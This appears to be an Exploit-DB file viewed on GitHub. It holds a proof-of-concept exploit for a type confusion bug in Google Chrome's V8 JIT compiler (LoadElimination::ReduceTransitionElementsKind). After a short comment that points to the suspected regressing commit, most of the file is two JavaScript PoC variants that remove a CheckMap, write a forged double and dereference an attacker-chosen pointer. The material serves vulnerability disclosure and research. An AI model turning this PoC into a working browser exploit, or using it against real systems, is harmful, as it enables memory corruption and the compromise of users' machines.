08c1a4df45
9 changes to exploits/shellcodes Google Chrome V8 JIT - 'LoadElimination::ReduceTransitionElementsKind' Type Confusion DVD X Player Standard 5.5.3.9 - Buffer Overflow iScripts Easycreate 3.2.1 - Stored Cross-Site Scripting Wordpress Plugin Activity Log 2.4.0 - Stored Cross Site Scripting WUZHI CMS 4.1.0 - ‘Add Admin Account’ Cross-Site Request Forgery WUZHI CMS 4.1.0 - ‘Add User Account’ Cross-Site Request Forgery Dell EMC Avamar and Integrated Data Protection Appliance Installation Manager - Invalid Access Control WordPress File Upload Plugin 4.3.2 - Stored Cross Site Scripting WordPress Plugin WordPress File Upload 4.3.3 - Stored XSS
73 lines
No EOL
1.6 KiB
JavaScript
73 lines
No EOL
1.6 KiB
JavaScript
/*
|
|
I think this commit has introduced the bug: https://chromium.googlesource.com/v8/v8.git/+/9884bc5dee488bf206655f07b8a487afef4ded9b
|
|
|
|
Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
|
|
...
|
|
if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {
|
|
object_maps.remove(source_map, zone());
|
|
object_maps.insert(target_map, zone());
|
|
- AliasStateInfo alias_info(state, object, source_map);
|
|
- state = state->KillMaps(alias_info, zone());
|
|
- state = state->AddMaps(object, object_maps, zone());
|
|
+ state = state->SetMaps(object, object_maps, zone());
|
|
}
|
|
...
|
|
}
|
|
|
|
I think the "state->KillMaps(alias_info, zone());" was accidentally removed. This lack may lead CheckMap instructions to be removed incorrectly.
|
|
|
|
A PoC demonstrating type confusion:
|
|
*/
|
|
|
|
function opt(a, b) {
|
|
b[0] = 0;
|
|
|
|
a.length;
|
|
|
|
// TransitionElementsKind
|
|
for (let i = 0; i < 1; i++)
|
|
a[0] = 0;
|
|
|
|
// CheckMap removed, type confusion
|
|
b[0] = 9.431092e-317; // 0x1234567
|
|
}
|
|
|
|
let arr1 = new Array(1);
|
|
arr1[0] = 'a';
|
|
opt(arr1, [0]);
|
|
|
|
let arr2 = [0.1];
|
|
opt(arr2, arr2);
|
|
|
|
%OptimizeFunctionOnNextCall(opt);
|
|
|
|
opt(arr2, arr2);
|
|
arr2[0].x // access 0x1234566
|
|
|
|
Without natives syntax:
|
|
function opt(a, b) {
|
|
b[0] = 0;
|
|
|
|
a.length;
|
|
|
|
// TransitionElementsKind
|
|
for (let i = 0; i < 1; i++)
|
|
a[0] = 0;
|
|
|
|
b[0] = 9.431092e-317; // 0x1234567
|
|
|
|
// Force optimization
|
|
for (let i = 0; i < 10000000; i++) {
|
|
|
|
}
|
|
}
|
|
|
|
let arr1 = new Array(1);
|
|
arr1[0] = 'a';
|
|
opt(arr1, [0]);
|
|
|
|
let arr2 = [0.1];
|
|
opt(arr2, arr2);
|
|
|
|
opt(arr2, arr2);
|
|
arr2[0].x // access 0x1234566
|